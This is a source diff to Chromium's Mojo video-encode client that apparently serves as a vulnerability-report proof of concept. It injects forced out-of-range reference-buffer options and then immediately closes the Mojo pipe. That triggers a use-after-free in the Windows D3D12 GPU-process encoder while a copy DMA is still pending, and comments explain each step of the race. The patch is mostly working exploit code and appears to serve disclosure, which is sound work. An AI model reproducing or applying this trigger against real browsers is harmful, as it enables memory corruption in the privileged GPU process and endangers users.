diff --git a/media/mojo/clients/mojo_video_encode_accelerator.cc b/media/mojo/clients/mojo_video_encode_accelerator.cc
--- a/media/mojo/clients/mojo_video_encode_accelerator.cc
+++ b/media/mojo/clients/mojo_video_encode_accelerator.cc
@@ -171,6 +171,28 @@ void MojoVideoEncodeAccelerator::Encode(
 void MojoVideoEncodeAccelerator::Encode(
     scoped_refptr<VideoFrame> frame,
     const VideoEncoder::EncodeOptions& options) {
+  // ---------------------------------------------------------------------------
+  // POC injection: simulate a compromised renderer attacking the Windows GPU
+  // process D3D12VideoEncodeAccelerator.
+  //
+  // We override the renderer-supplied EncodeOptions so that
+  // D3D12VideoEncodeDelegate::Encode() early-returns kBadReferenceBuffer
+  // *after* DoEncodeTask has already called
+  // CreateResourceForSharedMemoryVideoFrame() ->
+  //   CopyBufferToNV12Texture(input_texture_, upload_buffer_, ...) ->
+  //   copy_command_queue_->Execute()  (async COPY-engine DMA, no CPU wait).
+  //
+  // We then immediately reset the VEA Mojo remote so the GPU-side service
+  // calls Destroy() -> DestroyTask -> `delete this` while the COPY DMA is
+  // still in flight. ~D3D12VideoEncodeAccelerator destroys members in reverse
+  // declaration order: input_texture_ (h:240) and upload_buffer_ (h:238) are
+  // Released BEFORE copy_command_queue_ (h:210) runs WaitSync().
+  // ---------------------------------------------------------------------------
+  VideoEncoder::EncodeOptions poc_options = options;
+  poc_options.update_buffer = 200;          // >= GetMaxNumOfManualRefBuffers()
+  poc_options.reference_buffers = {200};    // also forces kBadReferenceBuffer
+
   TRACE_EVENT1("media", "MojoVideoEncodeAccelerator::Encode", "timestamp",
                frame->timestamp().InMicroseconds());
   DVLOG(2) << __func__ << " tstamp=" << frame->timestamp();
@@ -182,7 +204,14 @@ void MojoVideoEncodeAccelerator::Encode(
   UMA_HISTOGRAM_ENUMERATION("Media.MojoVideoEncodeAccelerator.InputStorageType",
                             frame->storage_type(),
                             static_cast<int>(VideoFrame::STORAGE_MAX) + 1);
-  vea_->Encode(frame, options, base::DoNothingWithBoundArgs(frame));
+  vea_->Encode(frame, poc_options, base::DoNothingWithBoundArgs(frame));
+
+  // Close the VEA Mojo pipe immediately after sending Encode. This causes
+  // MojoVideoEncodeAcceleratorService::~MojoVideoEncodeAcceleratorService ->
+  // encoder_->Destroy() on the GPU child sequence, which posts DestroyTask to
+  // the encoder thread. DestroyTask runs right after DoEncodeTask returns from
+  // the kBadReferenceBuffer fast-path, with the COPY DMA still pending.
+  vea_.reset();
 }

 void MojoVideoEncodeAccelerator::UseOutputBitstreamBuffer(